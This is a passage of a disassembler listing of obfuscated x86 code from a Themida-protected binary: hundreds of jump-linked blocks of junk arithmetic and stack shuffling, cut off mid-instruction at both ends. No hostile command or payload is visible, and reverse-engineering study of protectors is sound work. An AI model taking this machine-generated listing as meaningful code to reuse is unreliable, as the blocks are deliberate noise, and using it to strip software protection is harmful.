ebx, edi sub ebx, 19C168Eh jmp loc_570D76 ; --------------------------------------------------------------------------- loc_56F77F: ; CODE XREF: Themida_:0056BA21j xor edi, offset byte_480001 add ebx, edi jmp loc_56B40F ; --------------------------------------------------------------------------- loc_56F78C: ; CODE XREF: Themida_:00569BDDj sub esp, 4 mov [esp], esi mov esi, 4923666Ch add ebp, esi jmp loc_571EC2 ; --------------------------------------------------------------------------- loc_56F7A1: ; CODE XREF: Themida_:005636B3j add eax, ebp pop ebp add eax, ebp sub eax, 16CC6EFFh jmp loc_571E89 ; --------------------------------------------------------------------------- loc_56F7B0: ; CODE XREF: Themida_:0056B4CBj push 1040h mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 jmp loc_56DF04 ; --------------------------------------------------------------------------- loc_56F7C5: ; CODE XREF: Themida_:005696F3j push ebx push 6ECDh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_56D79B ; --------------------------------------------------------------------------- loc_56F7EC: ; CODE XREF: Themida_:0056CCD2j add eax, ebp push edx mov edx, 3F36604Eh add eax, edx pop edx add eax, 35171464h sub eax, 4DA13895h mov ebp, [esp] add esp, 4 add eax, 2 xor eax, [esp] xor [esp], eax jmp loc_567B47 ; --------------------------------------------------------------------------- loc_56F81A: ; CODE XREF: Themida_:00571052j dec esi not esi not esi jmp loc_55D8BF ; --------------------------------------------------------------------------- loc_56F824: ; CODE XREF: Themida_:0056D35Bj mov esp, [esp] xor ebp, 15E654D7h add ebx, 7FB5470Fh jmp loc_5705F7 ; --------------------------------------------------------------------------- loc_56F838: ; CODE XREF: Themida_:00561C22j mov [esp], edi jmp loc_55DD86 ; --------------------------------------------------------------------------- loc_56F840: ; CODE XREF: Themida_:00562274j xor esi, 707B050Ch shr esi, 8 add esi, 1 push ebp mov ebp, 135873h xor esi, ebp jmp loc_55EB2D ; --------------------------------------------------------------------------- loc_56F85C: ; CODE XREF: Themida_:0055FC02j push 4FC9h mov [esp], esp jmp loc_563EA5 ; --------------------------------------------------------------------------- mov cx, [esp] push edi push esp jmp loc_56F141 ; --------------------------------------------------------------------------- loc_56F874: ; CODE XREF: Themida_:0056CE10j mov esi, [esp] jmp loc_56F2D4 ; --------------------------------------------------------------------------- loc_56F87C: ; CODE XREF: Themida_:00572460j sub eax, ebx pop ebx sub eax, ecx add eax, 6C1D3D0Fh pop ecx xchg eax, [esp] jmp loc_56DCAB ; --------------------------------------------------------------------------- loc_56F88F: ; CODE XREF: Themida_:0056725Aj mov ax, [esp] jmp loc_568746 ; --------------------------------------------------------------------------- loc_56F898: ; CODE XREF: Themida_:00567EABj pop esp add edx, 4 push ebp push eax jmp loc_55EDB5 ; --------------------------------------------------------------------------- loc_56F8A6: ; CODE XREF: Themida_:005669B9j shr edi, 6 add edi, 0FD6ADC5Eh add ebx, edi pop edi jmp loc_56DBA3 ; --------------------------------------------------------------------------- loc_56F8B7: ; CODE XREF: Themida_:005679C1j pop ebp push eax mov eax, 4 add ebp, eax pop eax jmp loc_55FD7C ; --------------------------------------------------------------------------- loc_56F8C6: ; CODE XREF: Themida_:005686D2j add esp, 4 add edx, 4 push edi push 2FA0h mov [esp], ebp push eax mov eax, 6D502318h mov ebp, 78303607h sub ebp, eax pop eax mov edi, ebp pop ebp add edi, 5CF33518h or edi, 46F9659Ah dec edi xchg edx, edi xchg ebx, edx jmp loc_56CD8B ; --------------------------------------------------------------------------- loc_56F902: ; CODE XREF: Themida_:00562534j sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 jmp loc_56F184 ; --------------------------------------------------------------------------- loc_56F924: ; CODE XREF: Themida_:00567013j pop esi xchg edi, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55DB10 ; --------------------------------------------------------------------------- loc_56F937: ; CODE XREF: Themida_:0056A711j mov ebp, 66470A4Ch add ebp, 55317CB4h sub ebp, 978C5044h mov esi, ebp pop ebp jmp loc_566FEB ; --------------------------------------------------------------------------- loc_56F950: ; CODE XREF: Themida_:005691B3j pop edx mov esi, ecx pop ecx push edi mov edi, 40214940h sub dword ptr [esp+8], 5E0C4983h sub [esp+8], edi push ebx jmp loc_56BF9B ; --------------------------------------------------------------------------- loc_56F96C: ; CODE XREF: Themida_:0056695Bj add ebx, 0E00D23E7h push 244Eh mov [esp], ebx push ebp jmp loc_5609D2 ; --------------------------------------------------------------------------- loc_56F980: ; CODE XREF: Themida_:0055F5BDj xchg edx, [esp] jmp loc_55E57D ; --------------------------------------------------------------------------- loc_56F988: ; CODE XREF: Themida_:00565CC0j push eax push 7CBF599Eh mov eax, [esp] add esp, 4 neg eax add eax, 0BC0F6075h jmp loc_55E494 ; --------------------------------------------------------------------------- loc_56F9A3: ; CODE XREF: Themida_:0056DB53j xor eax, 8A335E43h push ecx mov ecx, 5D5C7FDEh add ecx, 0BCA8467h sub esi, ecx pop ecx jmp loc_55FDA4 ; --------------------------------------------------------------------------- loc_56F9BC: ; CODE XREF: Themida_:00570F5Bj add esp, 4 add edx, ecx jmp loc_572388 ; --------------------------------------------------------------------------- loc_56F9C9: ; CODE XREF: Themida_:0056E270j pop ebx xchg ebp, ebx dec ebp xchg ebp, ebx push 0 jmp loc_5635B8 ; --------------------------------------------------------------------------- loc_56F9D9: ; CODE XREF: Themida_:0055EE5Fj mov ebp, [esp] jmp loc_563F02 ; --------------------------------------------------------------------------- loc_56F9E1: ; CODE XREF: Themida_:0056A7C7j xor eax, 7A0E7261h push ebx mov ebx, 5AB80069h jmp loc_563021 ; --------------------------------------------------------------------------- loc_56F9F1: ; CODE XREF: Themida_:0055F087j add ebp, 4 xchg ebp, [esp] pop esp neg dl add dl, 37h sub al, dl pop edx jmp loc_566CE7 ; --------------------------------------------------------------------------- loc_56FA05: ; CODE XREF: Themida_:0056D309j sub dword ptr [esp+4], 318D0DB9h add [esp+4], eax add dword ptr [esp+4], 318D0DB9h pop eax pop edi sub edi, 1DC41F21h mov ebx, [esp] add esp, 4 push edi jmp loc_562408 ; --------------------------------------------------------------------------- loc_56FA2D: ; CODE XREF: Themida_:0055FA3Dj mov ecx, 7C907C29h xor ebp, ecx pop ecx jmp loc_5708F5 ; --------------------------------------------------------------------------- loc_56FA3A: ; CODE XREF: Themida_:005615D4j mov edi, 0FC40E800h sub eax, edi pop edi add eax, ebx pop ebx jmp loc_5669BE ; --------------------------------------------------------------------------- loc_56FA4A: ; CODE XREF: Themida_:00565AC4j pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_56FFC6 ; --------------------------------------------------------------------------- loc_56FA57: ; CODE XREF: Themida_:005617C0j xor dl, 0B4h add bl, dl pop edx jmp loc_56F626 ; --------------------------------------------------------------------------- loc_56FA62: ; CODE XREF: Themida_:0056220Cj add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_56CB31 ; --------------------------------------------------------------------------- loc_56FA70: ; CODE XREF: Themida_:0056B584j shr ebx, 6 not ebx xor ebx, 63ED5116h shr ebx, 8 push edx mov edx, 2C86A1DFh xor ebx, edx pop edx xor esi, ebx pop ebx mov ebp, esi pop esi push eax jmp loc_55FDBA ; --------------------------------------------------------------------------- loc_56FA93: ; CODE XREF: Themida_:00566A81j xor eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_56886A ; --------------------------------------------------------------------------- loc_56FAA2: ; CODE XREF: Themida_:0056E653j sub bh, 0FFh inc bh push ecx push ebx mov bh, 14h mov ch, 0D9h jmp loc_5658FD ; --------------------------------------------------------------------------- loc_56FAB2: ; CODE XREF: Themida_:0056949Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_568387 ; --------------------------------------------------------------------------- loc_56FAC8: ; CODE XREF: Themida_:00570292j pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esp push dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esi, 4 add esi, 4 push 3558h mov [esp], esi push dword ptr [esp+4] jmp loc_560E84 ; --------------------------------------------------------------------------- loc_56FB0B: ; CODE XREF: Themida_:005724FFj sub ecx, 4 xchg ecx, [esp] jmp loc_55EB97 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56FB21: ; CODE XREF: Themida_:0056FF14j mov ecx, esi sub esp, 4 mov [esp], edx mov edx, ecx push edx mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_572246 ; --------------------------------------------------------------------------- loc_56FB3C: ; CODE XREF: Themida_:0056DFE6j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, 4EE80040h push ecx mov ecx, 688F04FBh add ebx, ecx pop ecx xor ebx, 0B777053Fh add ebp, ebx pop ebx xchg ebp, [esp] pop esp push 7436h mov [esp], edi push esp jmp loc_56B981 ; --------------------------------------------------------------------------- loc_56FB77: ; CODE XREF: Themida_:005656C2j pop ecx sub esp, 4 mov [esp], edx pop ebp pop edx mov ebx, ebp pop ebp xor eax, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_55E0C1 ; --------------------------------------------------------------------------- loc_56FB9F: ; CODE XREF: Themida_:0056DF3Bj neg edi add edi, 3194644Bh xor edi, 58425806h push ebp jmp loc_565636 ; --------------------------------------------------------------------------- loc_56FBB3: ; CODE XREF: Themida_:00566CC2j mov ebp, 14780286h jmp loc_564575 ; --------------------------------------------------------------------------- loc_56FBBD: ; CODE XREF: Themida_:00572689j mov esi, 26586A87h add ebp, esi mov esi, [esp] add esp, 4 pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp div cl jmp loc_562859 ; --------------------------------------------------------------------------- loc_56FBDC: ; CODE XREF: Themida_:0056787Bj push ebp push ebx push 4876506Bh jmp loc_55EB57 ; --------------------------------------------------------------------------- loc_56FBE8: ; CODE XREF: Themida_:005661A5j sub esp, 4 mov [esp], edx jmp loc_568B36 ; --------------------------------------------------------------------------- loc_56FBF3: ; CODE XREF: Themida_:0056DF59j and eax, ebp pop ebp or eax, eax jnz loc_56B8CD sub esp, 4 mov [esp], esi push eax jmp loc_56ADF2 ; --------------------------------------------------------------------------- loc_56FC0A: ; CODE XREF: Themida_:0056368Fj xor ecx, 12C154ABh xor ecx, 292747B1h shl ecx, 4 inc ecx jmp loc_568408 ; --------------------------------------------------------------------------- loc_56FC1F: ; CODE XREF: Themida_:005727A7j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56FC24: ; CODE XREF: Themida_:00560673j neg edi xor edi, 2D2C6786h add edi, 22AA44BAh or edi, 7E4E748Ch add edi, 5ACBB819h neg edi jmp loc_571FAC ; --------------------------------------------------------------------------- loc_56FC45: ; CODE XREF: Themida_:00567EBCj mov edx, [esp] add esp, 4 push ebp push esp pop ebp jmp loc_561C1D ; --------------------------------------------------------------------------- loc_56FC53: ; CODE XREF: Themida_:005667F5j dec cl sub cl, 0D4h push eax mov al, 0A6h shl al, 5 jmp loc_55FD02 ; --------------------------------------------------------------------------- loc_56FC63: ; CODE XREF: Themida_:005644F1j mov edx, [esp] jmp loc_55D89F ; --------------------------------------------------------------------------- loc_56FC6B: ; CODE XREF: Themida_:0056D796j dec ebp push eax mov eax, 5207182Ah add ebp, eax jmp loc_56C296 ; --------------------------------------------------------------------------- loc_56FC79: ; CODE XREF: Themida_:0055F4FEj neg ebp push ebx mov ebx, 6E0D4FA2h sub ebp, 2D253ED1h add ebp, ebx add ebp, 2D253ED1h pop ebx sub edi, ebp jmp loc_565CC5 ; --------------------------------------------------------------------------- loc_56FC97: ; CODE XREF: Themida_:00567C24j add esi, edx pop edx xor esi, [esp] xor [esp], esi jmp loc_56EEFD ; --------------------------------------------------------------------------- loc_56FCA5: ; CODE XREF: Themida_:00570828j push edx mov edx, 612047A8h mov ebp, edx pop edx sub ebp, 612047A4h push ebp mov ebp, 647445D9h add ebp, 0AF2502DDh add ebx, ebp pop ebp add ebx, ebp sub ebx, 139948B6h jmp loc_57202A ; --------------------------------------------------------------------------- loc_56FCD0: ; CODE XREF: Themida_:0056682Cj add ebx, edx sub ebx, 3CA826DAh pop edx sub ebx, 36E233Eh add ebx, edi push eax mov eax, 34261AF8h and eax, 40B31F93h and eax, 38C54096h sub eax, 0FC91DD52h add ebx, eax pop eax push 30E7h mov [esp], edx push edi jmp loc_56013E ; --------------------------------------------------------------------------- loc_56FD07: ; CODE XREF: Themida_:00561CCBj mov [esp], esi jmp loc_56867F ; --------------------------------------------------------------------------- loc_56FD0F: ; CODE XREF: Themida_:00569D46j push ebp mov ebp, 1E446A67h jmp loc_5720BF ; --------------------------------------------------------------------------- loc_56FD1A: ; CODE XREF: Themida_:0056A82Fj or ebp, 32EE01DCh neg ebp jmp loc_561BBE ; --------------------------------------------------------------------------- loc_56FD27: ; CODE XREF: Themida_:0055FC65j mov ebp, [esp] add esp, 4 add eax, edx sub eax, 19DF6AFAh jmp loc_56C702 ; --------------------------------------------------------------------------- loc_56FD3C: ; CODE XREF: Themida_:0055EEC1j mov ebp, 33CC69FBh add ebp, 11734928h jmp loc_56CEF8 ; --------------------------------------------------------------------------- loc_56FD4C: ; CODE XREF: Themida_:0056B20Ej push esi mov esi, esp jmp loc_568DD2 ; --------------------------------------------------------------------------- loc_56FD54: ; CODE XREF: Themida_:0056CBE8j push edx jmp loc_55F551 ; --------------------------------------------------------------------------- loc_56FD5A: ; CODE XREF: Themida_:00570C66j add edx, 5224EABh mov ecx, edx pop edx sub ecx, 0C295DD5h jmp loc_55DEA9 ; --------------------------------------------------------------------------- loc_56FD6E: ; CODE XREF: Themida_:0056BA51j sub edi, ebp jmp loc_567048 ; --------------------------------------------------------------------------- loc_56FD75: ; CODE XREF: Themida_:0056AC78j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_568C50 ; --------------------------------------------------------------------------- loc_56FD86: ; CODE XREF: Themida_:00568852j mov ecx, [esp] add esp, 4 movzx ax, byte ptr [eax] push ebx mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx push edx mov edx, 4 sub ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], eax push esp pop eax add eax, 4 push 2D79h mov [esp], ecx jmp loc_571057 ; --------------------------------------------------------------------------- loc_56FDCB: ; CODE XREF: Themida_:00571F03j pop edx push ecx jmp loc_56BAA3 ; --------------------------------------------------------------------------- loc_56FDD2: ; CODE XREF: Themida_:0057105Cj sub esp, 4 mov [esp], ebx mov ebx, 0A0A7418h push ecx mov ecx, 1B052B63h add eax, ecx pop ecx add eax, ebx sub eax, 1B052B63h mov ebx, [esp] add esp, 4 sub eax, ecx push edi mov edi, 758A486Fh jmp loc_55FD09 ; --------------------------------------------------------------------------- loc_56FE00: ; CODE XREF: Themida_:00571951j xchg ecx, [esp] jmp loc_56C16E ; --------------------------------------------------------------------------- loc_56FE08: ; CODE XREF: Themida_:0055E385j add edi, 4 jmp loc_5695FC ; --------------------------------------------------------------------------- loc_56FE13: ; CODE XREF: Themida_:00569752j pop eax sub ebx, 4DBB29FFh add ebx, 54952320h add ebx, edx sub ebx, 54952320h add ebx, 4DBB29FFh jmp loc_55D5B7 ; --------------------------------------------------------------------------- loc_56FE33: ; CODE XREF: Themida_:00567E8Ej sub eax, edi sub eax, 40AE67BFh push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_563577 ; --------------------------------------------------------------------------- loc_56FE4B: ; CODE XREF: Themida_:00560E7Fj xor edi, 31FB9887h add eax, edi pop edi add edx, eax mov eax, [esp] add esp, 4 jmp loc_56479A ; --------------------------------------------------------------------------- loc_56FE61: ; CODE XREF: Themida_:0056C77Aj push ebp mov ebp, eax mov esi, ebp pop ebp jmp loc_563416 ; --------------------------------------------------------------------------- mov ax, [esp] push 4D67h mov [esp], edx mov edx, esp jmp loc_563C8B ; --------------------------------------------------------------------------- loc_56FE7F: ; CODE XREF: Themida_:00561851j pop esp jmp loc_56D360 ; --------------------------------------------------------------------------- loc_56FE85: ; CODE XREF: Themida_:0056D5EAj push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 push ecx mov ecx, 0F50261h jmp loc_5686B7 ; --------------------------------------------------------------------------- loc_56FEA8: ; CODE XREF: Themida_:005670A1j sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55E6A2 ; --------------------------------------------------------------------------- loc_56FEC0: ; CODE XREF: Themida_:005616D4j add ebx, ebp pop ebp mov eax, [esp] add esp, 4 pop dword ptr [eax] jmp loc_563FA4 ; --------------------------------------------------------------------------- loc_56FED3: ; CODE XREF: Themida_:005689A8j mov [esp], ebx jmp loc_568620 ; --------------------------------------------------------------------------- loc_56FEDB: ; CODE XREF: Themida_:00569603j mov ebp, 113A3287h jmp loc_5629AC ; --------------------------------------------------------------------------- loc_56FEE5: ; CODE XREF: Themida_:005637F5j pop edx push esi mov esi, esp jmp loc_568A08 ; --------------------------------------------------------------------------- loc_56FEEE: ; CODE XREF: Themida_:00562701j add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] add ebp, 4 push 271Ch mov [esp], ecx push edi jmp loc_5682D6 ; --------------------------------------------------------------------------- loc_56FF0B: ; CODE XREF: Themida_:0056E58Fj sub esp, 4 mov [esp], ecx jmp loc_56FB21 ; --------------------------------------------------------------------------- loc_56FF19: ; CODE XREF: Themida_:005615AEj mov [esp], edx push 36DEh mov [esp], ecx push edx jmp loc_55FB1D ; --------------------------------------------------------------------------- loc_56FF2A: ; CODE XREF: Themida_:00571F82j xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 jmp loc_571BD6 ; --------------------------------------------------------------------------- loc_56FF3B: ; CODE XREF: Themida_:0056D131j add edx, 61476D76h shr edx, 4 sub edx, 86ECFF5Dh xor edx, eax pop eax shr edx, 8 jmp loc_56BEE3 ; --------------------------------------------------------------------------- loc_56FF55: ; CODE XREF: Themida_:00569CB7j mov edx, 88E78E7h jmp loc_56474F ; --------------------------------------------------------------------------- loc_56FF5F: ; CODE XREF: Themida_:0056D1A0j mov ecx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 push edx jmp loc_56B1E8 ; --------------------------------------------------------------------------- loc_56FF7D: ; CODE XREF: Themida_:0055E101j mov ebx, 1C652117h jmp loc_571034 ; --------------------------------------------------------------------------- loc_56FF87: ; CODE XREF: Themida_:0056EDAAj mov ebx, esp jmp loc_56449F ; --------------------------------------------------------------------------- loc_56FF8E: ; CODE XREF: Themida_:0056D811j sub ebx, 100E4ED5h jmp loc_568083 ; --------------------------------------------------------------------------- loc_56FF99: ; CODE XREF: Themida_:0056068Ej push eax jmp loc_56BEA5 ; --------------------------------------------------------------------------- loc_56FF9F: ; CODE XREF: Themida_:0056955Dj push ebx mov ebx, 2AA14DEAh sub ebx, 8D4C2590h xor esi, ebx jmp loc_561ECF ; --------------------------------------------------------------------------- loc_56FFB2: ; CODE XREF: Themida_:0056E89Fj pop ecx jmp loc_571C43 ; --------------------------------------------------------------------------- loc_56FFB8: ; CODE XREF: Themida_:00560D48j pop ebx add [esp+4], edi pop edi mov ebx, [esp] jmp loc_56B865 ; --------------------------------------------------------------------------- loc_56FFC6: ; CODE XREF: Themida_:0056FA52j pop dword ptr [esp] jmp loc_5610F7 ; --------------------------------------------------------------------------- loc_56FFCE: ; CODE XREF: Themida_:00571196j inc ebx jmp loc_56C163 ; --------------------------------------------------------------------------- loc_56FFD4: ; CODE XREF: Themida_:0056A3D6j pop ecx sub esi, edx pop edx xor eax, esi mov esi, [esp] add esp, 4 push 5F58h mov [esp], edi push 23C3h mov [esp], ebp mov ebp, 16310EA1h push 6ABBh mov [esp], ebp jmp loc_56DD56 ; --------------------------------------------------------------------------- loc_570005: ; CODE XREF: Themida_:0056DBB5j sub eax, 5A023494h add eax, ebp add eax, 5A023494h add eax, 90160FFh jmp loc_55E6CC ; --------------------------------------------------------------------------- loc_57001B: ; CODE XREF: Themida_:0056C25Bj add esi, 4 xchg esi, [esp] pop esp jmp loc_5724D9 ; --------------------------------------------------------------------------- loc_570027: ; CODE XREF: Themida_:00563045j not dword ptr [esp] pop ecx xor ecx, 0F26DBAC2h add esi, 734C2D52h add esi, ecx jmp loc_561EC3 ; --------------------------------------------------------------------------- loc_57003E: ; CODE XREF: Themida_:0056F1D2j push eax push ebx mov ebx, 6F284F20h push eax jmp loc_571AFE ; --------------------------------------------------------------------------- loc_57004B: ; CODE XREF: Themida_:0055EE27j not bl or bl, 76h neg bl inc bl push 3510h mov [esp], ecx mov cl, 0D2h and cl, 49h inc cl xchg dl, cl not dl xchg dl, cl xor cl, 0EBh xor bl, cl pop ecx jmp loc_570E76 ; --------------------------------------------------------------------------- loc_570074: ; CODE XREF: Themida_:0056A8C5j mov ecx, 46436108h push eax mov eax, esp jmp loc_564445 ; --------------------------------------------------------------------------- loc_570081: ; CODE XREF: Themida_:00562C16j mov [esp], ebp mov ebp, 4 jmp loc_5655AF ; --------------------------------------------------------------------------- loc_57008E: ; CODE XREF: Themida_:0055F666j push edx jmp loc_56F219 ; --------------------------------------------------------------------------- loc_570094: ; CODE XREF: Themida_:005662BCj add edi, 24EEDE1Eh xor ecx, edi pop edi push esi push ecx push 7FC302Dh pop ecx add ecx, 51483BC3h add ecx, 0EC37A216h mov esi, ecx mov ecx, [esp] add esp, 4 jmp loc_55F39C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_568925 ; --------------------------------------------------------------------------- loc_5700CA: ; CODE XREF: Themida_:00562CDBj test cx, ax pushf jmp loc_566CC7 ; --------------------------------------------------------------------------- loc_5700D3: ; CODE XREF: Themida_:00564205j add edi, 163F487Bh jmp loc_567E80 ; --------------------------------------------------------------------------- loc_5700DE: ; CODE XREF: Themida_:0057180Aj push ecx mov ecx, 33814D6Bh jmp loc_56D2CE ; --------------------------------------------------------------------------- loc_5700E9: ; CODE XREF: Themida_:0056BFDCj push dword ptr [esp] pop ebx add esp, 4 jmp loc_55F5A6 ; --------------------------------------------------------------------------- loc_5700F5: ; CODE XREF: Themida_:0055D524j mov ah, dh jmp loc_561134 ; --------------------------------------------------------------------------- loc_5700FC: ; CODE XREF: Themida_:00569141j push esi jmp loc_561CA0 ; --------------------------------------------------------------------------- loc_570102: ; CODE XREF: Themida_:0056112Fj pop ecx pop edi push dword ptr [esp] jmp loc_569B9A ; --------------------------------------------------------------------------- push 1354h mov [esp], esi push ebx push eax push ecx mov ecx, 7C9628Ch push ecx add dword ptr [esp], 169A7147h pop eax jmp loc_560EFA ; --------------------------------------------------------------------------- loc_57012A: ; CODE XREF: Themida_:0055EE11j sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_56258B ; --------------------------------------------------------------------------- loc_570138: ; CODE XREF: Themida_:0055FFD8j xor ecx, 4D933E7Bh xor ecx, 0E2E126B3h add ebx, ecx pop ecx jmp loc_566BCC ; --------------------------------------------------------------------------- push 0AF1h mov [esp], esp add dword ptr [esp], 4 jmp loc_56B61F ; --------------------------------------------------------------------------- loc_570160: ; CODE XREF: Themida_:00561CB6j xor edx, esi pop esi push 620Bh mov [esp], edx jmp loc_563A16 ; --------------------------------------------------------------------------- loc_570170: ; CODE XREF: Themida_:00567C94j mov ebx, edi pop edi sub esi, 7E5B3A13h sub esi, 6CF0354h sub esi, 2A250227h sub esi, ebx add esi, 2A250227h add esi, 6CF0354h push edi push 34AD3DCEh pop edi not edi and edi, 2FF85D88h push ebp mov ebp, 57B47557h sub ebp, 58B75F77h and ebp, 14D32B58h dec ebp neg ebp add ebp, 668F4B37h add ebp, 214CB01Bh add edi, ebp jmp loc_56E81E ; --------------------------------------------------------------------------- loc_5701CA: ; CODE XREF: Themida_:00570502j pop eax jmp loc_56EA10 ; --------------------------------------------------------------------------- loc_5701D0: ; CODE XREF: Themida_:00560BE7j sub ebp, 4923666Ch mov edi, [esp] jmp loc_571A28 ; --------------------------------------------------------------------------- loc_5701DE: ; CODE XREF: Themida_:0055E79Cj xor esi, 58EB554Bh mov edx, esi jmp loc_5718CC ; --------------------------------------------------------------------------- loc_5701EB: ; CODE XREF: Themida_:00564531j sub esp, 4 mov [esp], edx jmp loc_5660A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5701F9: ; CODE XREF: sub_59DB3D-2C280j and dh, 8Dh xor dh, 0B3h add dh, 1 xor dh, 57h add bh, dh pop edx xor bh, 0FDh add al, bh pop ebx push 251Dh mov [esp+2Ch+var_2C], ebx mov bl, 6Ch sub al, bl push [esp+2Ch+var_2C] pop ebx add esp, 4 push bx push 443h mov [esp+0], ecx jmp loc_5705C6 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_570233: ; CODE XREF: Themida_:0056CABCj inc esi or esi, 48962B9Ah shl esi, 6 sub esi, 0D519968Fh sub eax, esi jmp loc_561B42 ; --------------------------------------------------------------------------- loc_57024A: ; CODE XREF: Themida_:0056DD51j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5634D0 ; --------------------------------------------------------------------------- loc_57025C: ; CODE XREF: Themida_:0056ABC0j sub bh, 0B6h mov cl, bh pop ebx add bl, cl pop cx add al, bl push dword ptr [esp] jmp loc_5609C3 ; --------------------------------------------------------------------------- loc_570270: ; CODE XREF: Themida_:0056B642j push 38A8h mov [esp], ecx xor dword ptr [esp], 47686B9Ch pop eax xor eax, 47686B9Ch jmp loc_56C1A0 ; --------------------------------------------------------------------------- loc_57028A: ; CODE XREF: Themida_:00565132j add esp, 4 push ebp push esp jmp loc_56FAC8 ; --------------------------------------------------------------------------- loc_570297: ; CODE XREF: Themida_:0055E1DEj pop esi xchg ecx, [esp] pop esp and eax, esi jmp loc_571DC9 ; --------------------------------------------------------------------------- loc_5702A3: ; CODE XREF: Themida_:00572B13j mov edx, [esp] add esp, 4 push small word ptr [eax] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5702B1: ; CODE XREF: Themida_:005628F7j mov eax, 7E3D0386h dec eax jmp loc_563A88 ; --------------------------------------------------------------------------- loc_5702BC: ; CODE XREF: Themida_:0056419Dj mov [esp], ecx push esi push 24EC2F89h jmp loc_560294 ; --------------------------------------------------------------------------- loc_5702CA: ; CODE XREF: Themida_:0056374Fj mov esp, [esp] jmp loc_572B2F ; --------------------------------------------------------------------------- loc_5702D2: ; CODE XREF: Themida_:0055ECA5j mov [esp], cx push small 438Bh mov [esp], bp mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_55F166 ; --------------------------------------------------------------------------- loc_5702FB: ; CODE XREF: Themida_:005637C5j pop esp push ebp push esp pop ebp add ebp, 4 push eax jmp loc_569D64 ; --------------------------------------------------------------------------- loc_57030B: ; CODE XREF: Themida_:00561B88j add esp, 4 sub eax, 2D1470AFh pop esi xor eax, edi jmp loc_562873 ; --------------------------------------------------------------------------- loc_57031E: ; CODE XREF: Themida_:0055FFFAj add ebp, 61A252CAh add ebp, edi sub ebp, 61A252CAh jmp loc_56F3BE ; --------------------------------------------------------------------------- loc_570331: ; CODE XREF: Themida_:0056D2C9j pop ecx add ecx, ebp mov ebp, [esp] jmp loc_568F88 ; --------------------------------------------------------------------------- loc_57033C: ; CODE XREF: Themida_:00561294j add ebx, esi add ebx, 493E27C6h add ebx, 704A07A5h push dword ptr [esp] jmp loc_560E58 ; --------------------------------------------------------------------------- loc_570352: ; CODE XREF: Themida_:00569D6Aj push edi not dword ptr [esp] pop edi push ebx mov ebx, 69862EE7h shl ebx, 5 shl ebx, 6 dec ebx sub ebx, 97AF54CEh sub edi, ebx jmp loc_56CF7A ; --------------------------------------------------------------------------- loc_570371: ; CODE XREF: Themida_:0056C61Aj mov [esp], edi push esp mov edi, [esp] jmp loc_570660 ; --------------------------------------------------------------------------- loc_57037D: ; CODE XREF: Themida_:0056D391j mov edx, [esp] add esp, 4 pop esi push 6675h mov [esp], ecx mov ecx, 3C91D4Dh xor eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_55EF5E ; --------------------------------------------------------------------------- loc_5703B1: ; CODE XREF: Themida_:0056B1F6j push esi mov esi, 0CBFEAEF4h mov eax, esi mov esi, [esp] jmp loc_561987 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_5703C1: ; CODE XREF: sub_562A0A-272Ej add ebp, 4 add ebp, 2 xor ebp, [esp+8+var_8] jmp loc_564B3E ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_5703D2: ; CODE XREF: Themida_:0056C6BCj add esp, 4 jmp loc_562342 ; --------------------------------------------------------------------------- loc_5703DA: ; CODE XREF: Themida_:00561D3Ej push ax sub esp, 2 mov [esp], bx push small 57BFh mov bx, [esp] add esp, 2 jmp loc_567242 ; --------------------------------------------------------------------------- loc_5703F9: ; CODE XREF: Themida_:005608F9j mov ecx, 9EB367Bh sub eax, ecx jmp loc_568CE9 ; --------------------------------------------------------------------------- loc_570405: ; CODE XREF: Themida_:00561691j sub al, bh jmp loc_56F2AA ; --------------------------------------------------------------------------- loc_57040C: ; CODE XREF: Themida_:00566E03j sub esp, 4 mov [esp], ebx push eax jmp loc_5624CD ; --------------------------------------------------------------------------- loc_57041B: ; CODE XREF: Themida_:00561186j pop ebp add ebp, 